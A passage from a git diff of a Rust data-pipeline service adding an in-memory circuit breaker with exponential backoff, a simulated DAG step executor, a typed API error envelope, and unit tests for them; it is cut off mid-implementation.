+use serde_json::Value as JsonValue;
+use std::time::{Duration, Instant};
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// In-Memory Circuit Breaker
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub enum CircuitState {
+    Closed,
+    Open,
+    HalfOpen,
+}
+
+impl std::fmt::Display for CircuitState {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        match self {
+            Self::Closed => write!(f, "closed"),
+            Self::Open => write!(f, "open"),
+            Self::HalfOpen => write!(f, "half_open"),
+        }
+    }
+}
+
+#[derive(Debug, Clone)]
+pub struct CircuitBreakerConfig {
+    pub failure_threshold: u32,
+    pub recovery_timeout: Duration,
+    pub half_open_max_requests: u32,
+}
+
+impl Default for CircuitBreakerConfig {
+    fn default() -> Self {
+        Self {
+            failure_threshold: 5,
+            recovery_timeout: Duration::from_secs(60),
+            half_open_max_requests: 3,
+        }
+    }
+}
+
+#[derive(Debug)]
+pub struct InMemoryCircuitBreaker {
+    state: CircuitState,
+    failure_count: u32,
+    success_count: u32,
+    half_open_requests: u32,
+    config: CircuitBreakerConfig,
+    opened_at: Option<Instant>,
+}
+
+impl InMemoryCircuitBreaker {
+    pub fn new(config: CircuitBreakerConfig) -> Self {
+        Self {
+            state: CircuitState::Closed,
+            failure_count: 0,
+            success_count: 0,
+            half_open_requests: 0,
+            config,
+            opened_at: None,
+        }
+    }
+
+    pub fn state(&self) -> &CircuitState {
+        &self.state
+    }
+
+    /// Check if the circuit allows a request. May transition Open → HalfOpen
+    /// if recovery timeout has elapsed.
+    pub fn allows_request(&mut self) -> bool {
+        match self.state {
+            CircuitState::Closed => true,
+            CircuitState::Open => {
+                if let Some(opened) = self.opened_at {
+                    if opened.elapsed() >= self.config.recovery_timeout {
+                        self.state = CircuitState::HalfOpen;
+                        self.half_open_requests = 0;
+                        true
+                    } else {
+                        false
+                    }
+                } else {
+                    false
+                }
+            }
+            CircuitState::HalfOpen => self.half_open_requests < self.config.half_open_max_requests,
+        }
+    }
+
+    pub fn record_success(&mut self) {
+        match self.state {
+            CircuitState::Closed => {
+                self.failure_count = 0;
+            }
+            CircuitState::HalfOpen => {
+                self.success_count += 1;
+                if self.success_count >= self.config.half_open_max_requests {
+                    self.state = CircuitState::Closed;
+                    self.failure_count = 0;
+                    self.success_count = 0;
+                    self.half_open_requests = 0;
+                    self.opened_at = None;
+                }
+            }
+            CircuitState::Open => {} // shouldn't happen
+        }
+    }
+
+    pub fn record_failure(&mut self) {
+        match self.state {
+            CircuitState::Closed => {
+                self.failure_count += 1;
+                if self.failure_count >= self.config.failure_threshold {
+                    self.state = CircuitState::Open;
+                    self.opened_at = Some(Instant::now());
+                    self.success_count = 0;
+                }
+            }
+            CircuitState::HalfOpen => {
+                self.state = CircuitState::Open;
+                self.opened_at = Some(Instant::now());
+                self.failure_count = 0;
+                self.success_count = 0;
+                self.half_open_requests = 0;
+            }
+            CircuitState::Open => {} // shouldn't happen
+        }
+    }
+
+    pub fn reset(&mut self) {
+        self.state = CircuitState::Closed;
+        self.failure_count = 0;
+        self.success_count = 0;
+        self.half_open_requests = 0;
+        self.opened_at = None;
+    }
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Retry with Exponential Backoff
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Compute backoff duration for a given attempt (0-indexed).
+pub fn compute_backoff(attempt: u32, policy: &RetryPolicy) -> Duration {
+    let delay_ms = (policy.backoff_base_ms as u128)
+        .saturating_mul(2u128.saturating_pow(attempt))
+        .min(policy.backoff_max_ms as u128) as u64;
+    Duration::from_millis(delay_ms)
+}
+
+/// Execute a step with retry and circuit breaker protection.
+/// Returns the final result after all retries are exhausted.
+pub async fn execute_with_resilience(
+    step_type: &str,
+    config: &JsonValue,
+    input: &JsonValue,
+    retry_policy: &RetryPolicy,
+    circuit_breaker: &mut InMemoryCircuitBreaker,
+) -> Result<JsonValue, String> {
+    use super::step_executor;
+
+    if !circuit_breaker.allows_request() {
+        return Err("Circuit breaker is open".to_string());
+    }
+
+    let mut last_err = String::new();
+
+    for attempt in 0..=retry_policy.max_retries {
+        if attempt > 0 {
+            if !circuit_breaker.allows_request() {
+                return Err(format!(
+                    "Circuit breaker opened after {} attempts: {}",
+                    attempt, last_err
+                ));
+            }
+            let backoff = compute_backoff(attempt - 1, retry_policy);
+            tokio::time::sleep(backoff).await;
+        }
+
+        match step_executor::execute_step(step_type, config, input).await {
+            Ok(output) => {
+                circuit_breaker.record_success();
+                return Ok(output);
+            }
+            Err(err) => {
+                circuit_breaker.record_failure();
+                last_err = err;
+            }
+        }
+    }
+
+    Err(format!(
+        "Step failed after {} retries: {}",
+        retry_policy.max_retries, last_err
+    ))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use serde_json::json;
+
+    // ── Circuit Breaker Tests ──────────────────────────
+
+    #[test]
+    fn new_breaker_is_closed() {
+        let cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig::default());
+        assert_eq!(*cb.state(), CircuitState::Closed);
+    }
+
+    #[test]
+    fn closed_allows_requests() {
+        let mut cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig::default());
+        assert!(cb.allows_request());
+    }
+
+    #[test]
+    fn failures_below_threshold_stay_closed() {
+        let mut cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig {
+            failure_threshold: 3,
+            ..Default::default()
+        });
+        cb.record_failure();
+        cb.record_failure();
+        assert_eq!(*cb.state(), CircuitState::Closed);
+        assert!(cb.allows_request());
+    }
+
+    #[test]
+    fn failures_at_threshold_opens_circuit() {
+        let mut cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig {
+            failure_threshold: 3,
+            ..Default::default()
+        });
+        cb.record_failure();
+        cb.record_failure();
+        cb.record_failure();
+        assert_eq!(*cb.state(), CircuitState::Open);
+        assert!(!cb.allows_request());
+    }
+
+    #[test]
+    fn success_resets_failure_count() {
+        let mut cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig {
+            failure_threshold: 3,
+            ..Default::default()
+        });
+        cb.record_failure();
+        cb.record_failure();
+        cb.record_success();
+        assert_eq!(cb.failure_count, 0);
+        assert_eq!(*cb.state(), CircuitState::Closed);
+    }
+
+    #[test]
+    fn open_transitions_to_half_open_after_timeout() {
+        let mut cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig {
+            failure_threshold: 1,
+            recovery_timeout: Duration::from_millis(0), // instant recovery for test
+            half_open_max_requests: 2,
+        });
+        cb.record_failure();
+        assert_eq!(*cb.state(), CircuitState::Open);
+
+        // With zero timeout, should transition on next allows_request
+        assert!(cb.allows_request());
+        assert_eq!(*cb.state(), CircuitState::HalfOpen);
+    }
+
+    #[test]
+    fn half_open_limits_requests() {
+        let mut cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig {
+            failure_threshold: 1,
+            recovery_timeout: Duration::from_millis(0),
+            half_open_max_requests: 2,
+        });
+        cb.record_failure();
+        cb.allows_request(); // transitions to HalfOpen
+
+        assert!(cb.allows_request()); // request 0 < 2
+        cb.half_open_requests = 1;
+        assert!(cb.allows_request()); // request 1 < 2
+        cb.half_open_requests = 2;
+        assert!(!cb.allows_request()); // request 2 >= 2
+    }
+
+    #[test]
+    fn half_open_success_closes_circuit() {
+        let mut cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig {
+            failure_threshold: 1,
+            recovery_timeout: Duration::from_millis(0),
+            half_open_max_requests: 2,
+        });
+        cb.record_failure();
+        cb.allows_request(); // HalfOpen
+
+        cb.record_success();
+        cb.record_success();
+        assert_eq!(*cb.state(), CircuitState::Closed);
+    }
+
+    #[test]
+    fn half_open_failure_reopens_circuit() {
+        let mut cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig {
+            failure_threshold: 1,
+            recovery_timeout: Duration::from_millis(0),
+            half_open_max_requests: 2,
+        });
+        cb.record_failure();
+        cb.allows_request(); // HalfOpen
+
+        cb.record_failure();
+        assert_eq!(*cb.state(), CircuitState::Open);
+    }
+
+    #[test]
+    fn reset_returns_to_closed() {
+        let mut cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig {
+            failure_threshold: 1,
+            ..Default::default()
+        });
+        cb.record_failure();
+        assert_eq!(*cb.state(), CircuitState::Open);
+
+        cb.reset();
+        assert_eq!(*cb.state(), CircuitState::Closed);
+        assert!(cb.allows_request());
+    }
+
+    #[test]
+    fn circuit_state_display() {
+        assert_eq!(CircuitState::Closed.to_string(), "closed");
+        assert_eq!(CircuitState::Open.to_string(), "open");
+        assert_eq!(CircuitState::HalfOpen.to_string(), "half_open");
+    }
+
+    // ── Backoff Tests ──────────────────────────────────
+
+    #[test]
+    fn backoff_exponential() {
+        let policy = RetryPolicy {
+            max_retries: 5,
+            backoff_base_ms: 100,
+            backoff_max_ms: 10_000,
+        };
+        assert_eq!(compute_backoff(0, &policy), Duration::from_millis(100));
+        assert_eq!(compute_backoff(1, &policy), Duration::from_millis(200));
+        assert_eq!(compute_backoff(2, &policy), Duration::from_millis(400));
+        assert_eq!(compute_backoff(3, &policy), Duration::from_millis(800));
+    }
+
+    #[test]
+    fn backoff_capped_at_max() {
+        let policy = RetryPolicy {
+            max_retries: 10,
+            backoff_base_ms: 1000,
+            backoff_max_ms: 5000,
+        };
+        assert_eq!(compute_backoff(0, &policy), Duration::from_millis(1000));
+        assert_eq!(compute_backoff(1, &policy), Duration::from_millis(2000));
+        assert_eq!(compute_backoff(2, &policy), Duration::from_millis(4000));
+        assert_eq!(compute_backoff(3, &policy), Duration::from_millis(5000)); // capped
+        assert_eq!(compute_backoff(10, &policy), Duration::from_millis(5000));
+    }
+
+    // ── execute_with_resilience Tests ──────────────────
+
+    #[tokio::test]
+    async fn resilience_succeeds_on_first_try() {
+        let mut cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig::default());
+        let policy = RetryPolicy {
+            max_retries: 3,
+            backoff_base_ms: 1,
+            backoff_max_ms: 10,
+        };
+
+        let result = execute_with_resilience(
+            "source",
+            &json!({"output": {"ok": true}}),
+            &json!({}),
+            &policy,
+            &mut cb,
+        )
+        .await;
+
+        assert!(result.is_ok());
+        assert_eq!(result.unwrap(), json!({"ok": true}));
+    }
+
+    #[tokio::test]
+    async fn resilience_fails_after_retries() {
+        let mut cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig {
+            failure_threshold: 10, // high so CB doesn't open
+            ..Default::default()
+        });
+        let policy = RetryPolicy {
+            max_retries: 2,
+            backoff_base_ms: 1,
+            backoff_max_ms: 5,
+        };
+
+        let result = execute_with_resilience(
+            "source",
+            &json!({"error": "always fails"}),
+            &json!({}),
+            &policy,
+            &mut cb,
+        )
+        .await;
+
+        assert!(result.is_err());
+        let err = result.unwrap_err();
+        assert!(err.contains("after 2 retries"));
+        assert!(err.contains("always fails"));
+    }
+
+    #[tokio::test]
+    async fn resilience_blocked_by_open_circuit() {
+        let mut cb = InMemoryCircuitBreaker::new(CircuitBreakerConfig {
+            failure_threshold: 1,
+            recovery_timeout: Duration::from_secs(60),
+            ..Default::default()
+        });
+        cb.record_failure(); // Open the circuit
+
+        let policy = RetryPolicy::default();
+        let result = execute_with_resilience(
+            "source",
+            &json!({"output": {"ok": true}}),
+            &json!({}),
+            &policy,
+            &mut cb,
+        )
+        .await;
+
+        assert!(result.is_err());
+        assert!(result.unwrap_err().contains("Circuit breaker is open"));
+    }
+}
diff --git a/src/services/step_executor.rs b/src/services/step_executor.rs
new file mode 100644
index 00000000..93c08e78
--- /dev/null
+++ b/src/services/step_executor.rs
@@ -0,0 +1,414 @@
+use serde_json::Value as JsonValue;
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// Step Executor — Pure step execution logic (no DB dependencies)
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// Execute a single DAG step given its type, config, and input data.
+/// This function is DB-free and can be used by both the in-process DAG
+/// executor and the standalone agent-executor binary.
+pub async fn execute_step(
+    step_type: &str,
+    config: &JsonValue,
+    input: &JsonValue,
+) -> Result<JsonValue, String> {
+    // Check for simulated failure (testing hook)
+    if let Some(err_msg) = config.get("error").and_then(|e| e.as_str()) {
+        return Err(err_msg.to_string());
+    }
+
+    match step_type {
+        "source" => {
+            if let Some(output) = config.get("output") {
+                Ok(output.clone())
+            } else {
+                Ok(input.clone())
+            }
+        }
+        "transform" => {
+            if let Some(mapping) = config.get("mapping") {
+                let mut result = input.clone();
+                if let (Some(result_obj), Some(mapping_obj)) =
+                    (result.as_object_mut(), mapping.as_object())
+                {
+                    for (key, _) in mapping_obj {
+                        if let Some(val) = input.get(key) {
+                            result_obj.insert(key.clone(), val.clone());
+                        }
+                    }
+                }
+                Ok(result)
+            } else {
+                Ok(input.clone())
+            }
+        }
+        "condition" => {
+            let passed = evaluate_condition(config, input);
+            Ok(serde_json::json!({
+                "condition_met": passed,
+                "input": input,
+            }))
+        }
+        "target" => Ok(serde_json::json!({
+            "delivered": true,
+            "data": input,
+        })),
+        "parallel_split" => Ok(input.clone()),
+        "parallel_join" => Ok(input.clone()),
+        "ws_source" => {
+            if let Some(output) = config.get("output") {
+                Ok(output.clone())
+            } else {
+                Ok(serde_json::json!({
+                    "ws_connected": true,
+                    "url": config.get("url").cloned().unwrap_or(serde_json::json!("unknown")),
+                    "data": input,
+                }))
+            }
+        }
+        "ws_target" => {
+            if let Some(output) = config.get("output") {
+                Ok(output.clone())
+            } else {
+                Ok(serde_json::json!({
+                    "ws_delivered": true,
+                    "url": config.get("url").cloned().unwrap_or(serde_json::json!("unknown")),
+                    "data": input,
+                }))
+            }
+        }
+        "http_stream_source" => {
+            if let Some(output) = config.get("output") {
+                Ok(output.clone())
+            } else {
+                Ok(serde_json::json!({
+                    "stream_connected": true,
+                    "url": config.get("url").cloned().unwrap_or(serde_json::json!("unknown")),
+                    "event_filter": config.get("event_filter").cloned(),
+                    "data": input,
+                }))
+            }
+        }
+        "grpc_source" => {
+            if let Some(output) = config.get("output") {
+                Ok(output.clone())
+            } else {
+                Ok(serde_json::json!({
+                    "grpc_connected": true,
+                    "endpoint": config.get("endpoint").cloned().unwrap_or(serde_json::json!("unknown")),
+                    "data": input,
+                }))
+            }
+        }
+        "grpc_target" => {
+            if let Some(output) = config.get("output") {
+                Ok(output.clone())
+            } else {
+                Ok(serde_json::json!({
+                    "grpc_delivered": true,
+                    "endpoint": config.get("endpoint").cloned().unwrap_or(serde_json::json!("unknown")),
+                    "data": input,
+                }))
+            }
+        }
+        "cdc_source" => {
+            // CDC source produces change events from PostgreSQL WAL.
+            // In simulation mode, returns config-defined output or a sample change event.
+            if let Some(output) = config.get("output") {
+                Ok(output.clone())
+            } else {
+                Ok(serde_json::json!({
+                    "cdc_connected": true,
+                    "replication_slot": config.get("replication_slot").cloned().unwrap_or(serde_json::json!("pipe_slot")),
+                    "publication": config.get("publication").cloned().unwrap_or(serde_json::json!("pipe_pub")),
+                    "tables": config.get("tables").cloned().unwrap_or(serde_json::json!([])),
+                    "status": "listening",
+                }))
+            }
+        }
+        "amqp_source" => {
+            if let Some(output) = config.get("output") {
+                Ok(output.clone())
+            } else {
+                Ok(serde_json::json!({
+                    "amqp_connected": true,
+                    "queue": config.get("queue").cloned().unwrap_or(serde_json::json!("default")),
+                    "exchange": config.get("exchange").cloned().unwrap_or(serde_json::json!("")),
+                    "status": "consuming",
+                    "data": input,
+                }))
+            }
+        }
+        "kafka_source" => {
+            if let Some(output) = config.get("output") {
+                Ok(output.clone())
+            } else {
+                Ok(serde_json::json!({
+                    "kafka_connected": true,
+                    "brokers": config.get("brokers").cloned().unwrap_or(serde_json::json!("localhost:9092")),
+                    "topic": config.get("topic").cloned().unwrap_or(serde_json::json!("default")),
+                    "group_id": config.get("group_id").cloned().unwrap_or(serde_json::json!("pipe_group")),
+                    "status": "subscribed",
+                    "data": input,
+                }))
+            }
+        }
+        _ => Err(format!("Unknown step type: {}", step_type)),
+    }
+}
+
+/// Evaluates a condition config against input data.
+/// Config format: {"field": "field_name", "operator": "gt|lt|eq|ne|gte|lte", "value": <val>}
+pub fn evaluate_condition(config: &JsonValue, input: &JsonValue) -> bool {
+    let field = match config.get("field").and_then(|f| f.as_str()) {
+        Some(f) => f,
+        None => return true, // No field = pass-through
+    };
+
+    let operator = match config.get("operator").and_then(|o| o.as_str()) {
+        Some(o) => o,
+        None => return true,
+    };
+
+    let threshold = match config.get("value") {
+        Some(v) => v,
+        None => return true,
+    };
+
+    let actual = match input.get(field) {
+        Some(v) => v,
+        None => return false, // Field missing = condition fails
+    };
+
+    match operator {
+        "gt" => compare_values(actual, threshold) == Some(std::cmp::Ordering::Greater),
+        "gte" => matches!(
+            compare_values(actual, threshold),
+            Some(std::cmp::Ordering::Greater) | Some(std::cmp::Ordering::Equal)
+        ),
+        "lt" => compare_values(actual, threshold) == Some(std::cmp::Ordering::Less),
+        "lte" => matches!(
+            compare_values(actual, threshold),
+            Some(std::cmp::Ordering::Less) | Some(std::cmp::Ordering::Equal)
+        ),
+        "eq" => compare_values(actual, threshold) == Some(std::cmp::Ordering::Equal),
+        "ne" => compare_values(actual, threshold) != Some(std::cmp::Ordering::Equal),
+        _ => true,
+    }
+}
+
+fn compare_values(a: &JsonValue, b: &JsonValue) -> Option<std::cmp::Ordering> {
+    if let (Some(a_num), Some(b_num)) = (a.as_f64(), b.as_f64()) {
+        return a_num.partial_cmp(&b_num);
+    }
+    if let (Some(a_str), Some(b_str)) = (a.as_str(), b.as_str()) {
+        return Some(a_str.cmp(b_str));
+    }
+    None
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use serde_json::json;
+
+    #[tokio::test]
+    async fn source_step_with_output() {
+        let config = json!({"output": {"key": "value"}});
+        let result = execute_step("source", &config, &json!({})).await.unwrap();
+        assert_eq!(result, json!({"key": "value"}));
+    }
+
+    #[tokio::test]
+    async fn source_step_passthrough() {
+        let input = json!({"data": 42});
+        let result = execute_step("source", &json!({}), &input).await.unwrap();
+        assert_eq!(result, input);
+    }
+
+    #[tokio::test]
+    async fn transform_step_with_mapping() {
+        let config = json!({"mapping": {"name": true}});
+        let input = json!({"name": "Alice", "age": 30});
+        let result = execute_step("transform", &config, &input).await.unwrap();
+        assert_eq!(result["name"], "Alice");
+    }
+
+    #[tokio::test]
+    async fn transform_step_passthrough() {
+        let input = json!({"x": 1});
+        let result = execute_step("transform", &json!({}), &input).await.unwrap();
+        assert_eq!(result, input);
+    }
+
+    #[tokio::test]
+    async fn condition_step_passes() {
+        let config = json!({"field": "score", "operator": "gt", "value": 50});
+        let input = json!({"score": 75});
+        let result = execute_step("condition", &config, &input).await.unwrap();
+        assert_eq!(result["condition_met"], true);
+    }
+
+    #[tokio::test]
+    async fn condition_step_fails() {
+        let config = json!({"field": "score", "operator": "gt", "value": 50});
+        let input = json!({"score": 25});
+        let result = execute_step("condition", &config, &input).await.unwrap();
+        assert_eq!(result["condition_met"], false);
+    }
+
+    #[tokio::test]
+    async fn target_step() {
+        let input = json!({"msg": "hello"});
+        let result = execute_step("target", &json!({}), &input).await.unwrap();
+        assert_eq!(result["delivered"], true);
+    }
+
+    #[tokio::test]
+    async fn parallel_split_passthrough() {
+        let input = json!({"data": [1, 2, 3]});
+        let result = execute_step("parallel_split", &json!({}), &input)
+            .await
+            .unwrap();
+        assert_eq!(result, input);
+    }
+
+    #[tokio::test]
+    async fn parallel_join_passthrough() {
+        let input = json!({"merged": true});
+        let result = execute_step("parallel_join", &json!({}), &input)
+            .await
+            .unwrap();
+        assert_eq!(result, input);
+    }
+
+    #[tokio::test]
+    async fn ws_source_with_output() {
+        let config = json!({"output": {"ws_data": "test"}});
+        let result = execute_step("ws_source", &config, &json!({}))
+            .await
+            .unwrap();
+        assert_eq!(result, json!({"ws_data": "test"}));
+    }
+
+    #[tokio::test]
+    async fn ws_target_simulation() {
+        let config = json!({"url": "ws://localhost:9999"});
+        let result = execute_step("ws_target", &config, &json!({"msg": "hi"}))
+            .await
+            .unwrap();
+        assert_eq!(result["ws_delivered"], true);
+    }
+
+    #[tokio::test]
+    async fn grpc_source_with_output() {
+        let config = json!({"output": {"grpc_data": "test"}});
+        let result = execute_step("grpc_source", &config, &json!({}))
+            .await
+            .unwrap();
+        assert_eq!(result, json!({"grpc_data": "test"}));
+    }
+
+    #[tokio::test]
+    async fn grpc_target_simulation() {
+        let config = json!({"endpoint": "http://localhost:50051"});
+        let result = execute_step("grpc_target", &config, &json!({"val": 1}))
+            .await
+            .unwrap();
+        assert_eq!(result["grpc_delivered"], true);
+    }
+
+    #[tokio::test]
+    async fn http_stream_source_with_output() {
+        let config = json!({"output": {"stream": "events"}});
+        let result = execute_step("http_stream_source", &config, &json!({}))
+            .await
+            .unwrap();
+        assert_eq!(result, json!({"stream": "events"}));
+    }
+
+    #[tokio::test]
+    async fn cdc_source_default() {
+        let config = json!({"replication_slot": "test_slot", "publication": "test_pub", "tables": ["users"]});
+        let result = execute_step("cdc_source", &config, &json!({}))
+            .await
+            .unwrap();
+        assert_eq!(result["cdc_connected"], true);
+        assert_eq!(result["replication_slot"], "test_slot");
+        assert_eq!(result["publication"], "test_pub");
+        assert_eq!(result["status"], "listening");
+    }
+
+    #[tokio::test]
+    async fn cdc_source_with_output() {
+        let config = json!({"output": {"event": "insert", "table": "users"}});
+        let result = execute_step("cdc_source", &config, &json!({}))
+            .await
+            .unwrap();
+        assert_eq!(result["event"], "insert");
+        assert_eq!(result["table"], "users");
+    }
+
+    #[tokio::test]
+    async fn unknown_step_type_errors() {
+        let result = execute_step("nonexistent", &json!({}), &json!({})).await;
+        assert!(result.is_err());
+        assert!(result.unwrap_err().contains("Unknown step type"));
+    }
+
+    #[tokio::test]
+    async fn simulated_failure() {
+        let config = json!({"error": "connection timeout"});
+        let result = execute_step("source", &config, &json!({})).await;
+        assert!(result.is_err());
+        assert_eq!(result.unwrap_err(), "connection timeout");
+    }
+
+    #[test]
+    fn condition_operators() {
+        let config_gt = json!({"field": "x", "operator": "gt", "value": 5});
+        assert!(evaluate_condition(&config_gt, &json!({"x": 10})));
+        assert!(!evaluate_condition(&config_gt, &json!({"x": 3})));
+
+        let config_eq = json!({"field": "x", "operator": "eq", "value": 5});
+        assert!(evaluate_condition(&config_eq, &json!({"x": 5})));
+        assert!(!evaluate_condition(&config_eq, &json!({"x": 6})));
+
+        let config_ne = json!({"field": "x", "operator": "ne", "value": 5});
+        assert!(evaluate_condition(&config_ne, &json!({"x": 6})));
+        assert!(!evaluate_condition(&config_ne, &json!({"x": 5})));
+
+        let config_lt = json!({"field": "x", "operator": "lt", "value": 5});
+        assert!(evaluate_condition(&config_lt, &json!({"x": 3})));
+        assert!(!evaluate_condition(&config_lt, &json!({"x": 7})));
+
+        let config_gte = json!({"field": "x", "operator": "gte", "value": 5});
+        assert!(evaluate_condition(&config_gte, &json!({"x": 5})));
+        assert!(evaluate_condition(&config_gte, &json!({"x": 6})));
+        assert!(!evaluate_condition(&config_gte, &json!({"x": 4})));
+
+        let config_lte = json!({"field": "x", "operator": "lte", "value": 5});
+        assert!(evaluate_condition(&config_lte, &json!({"x": 5})));
+        assert!(evaluate_condition(&config_lte, &json!({"x": 4})));
+        assert!(!evaluate_condition(&config_lte, &json!({"x": 6})));
+    }
+
+    #[test]
+    fn condition_missing_field() {
+        let config = json!({"field": "x", "operator": "gt", "value": 5});
+        assert!(!evaluate_condition(&config, &json!({"y": 10})));
+    }
+
+    #[test]
+    fn condition_no_field_passthrough() {
+        let config = json!({"operator": "gt", "value": 5});
+        assert!(evaluate_condition(&config, &json!({"x": 10})));
+    }
+
+    #[test]
+    fn condition_string_comparison() {
+        let config = json!({"field": "name", "operator": "eq", "value": "Alice"});
+        assert!(evaluate_condition(&config, &json!({"name": "Alice"})));
+        assert!(!evaluate_condition(&config, &json!({"name": "Bob"})));
+    }
+}
diff --git a/src/services/typed_error.rs b/src/services/typed_error.rs
new file mode 100644
index 00000000..c0e76d09
--- /dev/null
+++ b/src/services/typed_error.rs
@@ -0,0 +1,263 @@
+use std::collections::BTreeMap;
+use std::fmt;
+
+use actix_web::http::StatusCode;
+use actix_web::{HttpResponse, ResponseError};
+use serde::{Deserialize, Serialize};
+
+pub const TYPED_ERROR_SCHEMA_VERSION: &str = "v1alpha1";
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "snake_case")]
+pub enum TypedErrorCode {
+    ComposePathUnresolved,
+    DeploymentCapabilityMissing,
+    DeploymentNotFound,
+    InternalError,
+    InvalidRequest,
+    PermissionDenied,
+    PlanStale,
+    RegistryAuthMissing,
+    RollbackTargetUnavailable,
+    RuntimeEnvDriftDetected,
+    VaultSecretNotFound,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "snake_case")]
+pub enum TypedRemediationClass {
+    Auth,
+    Capability,
+    Configuration,
+    Internal,
+    Permissions,
+    Secret,
+    State,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct TypedErrorEnvelope {
+    pub schema_version: String,
+    pub code: TypedErrorCode,
+    pub message: String,
+    pub retryable: bool,
+    pub remediation_class: TypedRemediationClass,
+    #[serde(default, skip_serializing_if = "BTreeMap::is_empty")]
+    pub context: BTreeMap<String, String>,
+}
+
+impl TypedErrorEnvelope {
+    pub fn new(
+        code: TypedErrorCode,
+        message: impl Into<String>,
+        retryable: bool,
+        remediation_class: TypedRemediationClass,
+    ) -> Self {
+        Self {
+            schema_version: TYPED_ERROR_SCHEMA_VERSION.to_string(),
+            code,
+            message: message.into(),
+            retryable,
+            remediation_class,
+            context: BTreeMap::new(),
+        }
+    }
+
+    pub fn invalid_request(message: impl Into<String>) -> Self {
+        Self::new(
+            TypedErrorCode::InvalidRequest,
+            message,
+            false,
+            TypedRemediationClass::Configuration,
+        )
+    }
+
+    pub fn deployment_not_found(message: impl Into<String>) -> Self {
+        Self::new(
+            TypedErrorCode::DeploymentNotFound,
+            message,
+            false,
+            TypedRemediationClass::State,
+        )
+    }
+
+    pub fn deployment_capability_missing(message: impl Into<String>) -> Self {
+        Self::new(
+            TypedErrorCode::DeploymentCapabilityMissing,
+            message,
+            false,
+            TypedRemediationClass::Capability,
+        )
+    }
+
+    pub fn compose_path_unresolved(message: impl Into<String>) -> Self {
+        Self::new(
+            TypedErrorCode::ComposePathUnresolved,
+            message,
+            false,
+            TypedRemediationClass::Configuration,
+        )
+    }
+
+    pub fn vault_secret_not_found(message: impl Into<String>) -> Self {
+        Self::new(
+            TypedErrorCode::VaultSecretNotFound,
+            message,
+            false,
+            TypedRemediationClass::Secret,
+        )
+    }
+
+    pub fn permission_denied(message: impl Into<String>) -> Self {
+        Self::new(
+            TypedErrorCode::PermissionDenied,
+            message,
+            false,
+            TypedRemediationClass::Permissions,
+        )
+    }
+
+    pub fn internal_error(message: impl Into<String>) -> Self {
+        Self::new(
+            TypedErrorCode::InternalError,
+            message,
+            true,
+            TypedRemediationClass::Internal,
+        )
+    }
+
+    pub fn with_context(mut self, key: impl Into<String>, value: impl Into<String>) -> Self {
+        self.context.insert(key.into(), value.into());
+        self
+    }
+
+    pub fn to_json(&self) -> String {
+        serde_json::to_string(self).unwrap_or_else(|_| {
+            format!(
+                r#"{{"schemaVersion":"{TYPED_ERROR_SCHEMA_VERSION}","code":"internal_error","message":"failed to serialize typed error","retryable":true,"remediationClass":"internal"}}"#
+            )
+        })
+    }
+
+    pub fn to_pretty_json(&self) -> String {
+        serde_json::to_string_pretty(self).unwrap_or_else(|_| self.to_json())
+    }
+
+    pub fn from_mcp_error_message(message: &str) -> Self {
+        if let Ok(error) = serde_json::from_str::<Self>(message) {
+            return error;
+        }
+        if message.starts_with("Deployment not found") {
+            return Self::deployment_not_found(message);
+        }
+        if message.starts_with("Forbidden:")
+            || message.contains("Two-factor authentication is required")
+        {
+            return Self::permission_denied(message);
+        }
+        if message.starts_with("Invalid arguments:")
+            || message.starts_with("No deployment apps found")
+            || message.contains("App or service")
+            || message.contains("Missing params")
+        {
+            return Self::invalid_request(message);
+        }
+        Self::internal_error(message)
+    }
+}
+
+#[derive(Debug, Clone)]
+pub struct ApiTypedError {
+    status: StatusCode,
+    envelope: TypedErrorEnvelope,
+}
+
+impl ApiTypedError {
+    pub fn bad_request(envelope: TypedErrorEnvelope) -> Self {
+        Self {
+            status: StatusCode::BAD_REQUEST,
+            envelope,
+        }
+    }
+
+    pub fn not_found(envelope: TypedErrorEnvelope) -> Self {
+        Self {
+            status: StatusCode::NOT_FOUND,
+            envelope,
+        }
+    }
+
+    pub fn forbidden(envelope: TypedErrorEnvelope) -> Self {
+        Self {
+            status: StatusCode::FORBIDDEN,
+            envelope,
+        }
+    }
+
+    pub fn conflict(envelope: TypedErrorEnvelope) -> Self {
+        Self {
+            status: StatusCode::CONFLICT,
+            envelope,
+        }
+    }
+
+    pub fn internal(envelope: TypedErrorEnvelope) -> Self {
+        Self {
+            status: StatusCode::INTERNAL_SERVER_ERROR,
+            envelope,
+        }
+    }
+}
+
+impl fmt::Display for ApiTypedError {
+    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
+        write!(f, "{}", self.envelope.message)
+    }
+}
+
+impl std::error::Error for ApiTypedError {}
+
+impl ResponseError for ApiTypedError {
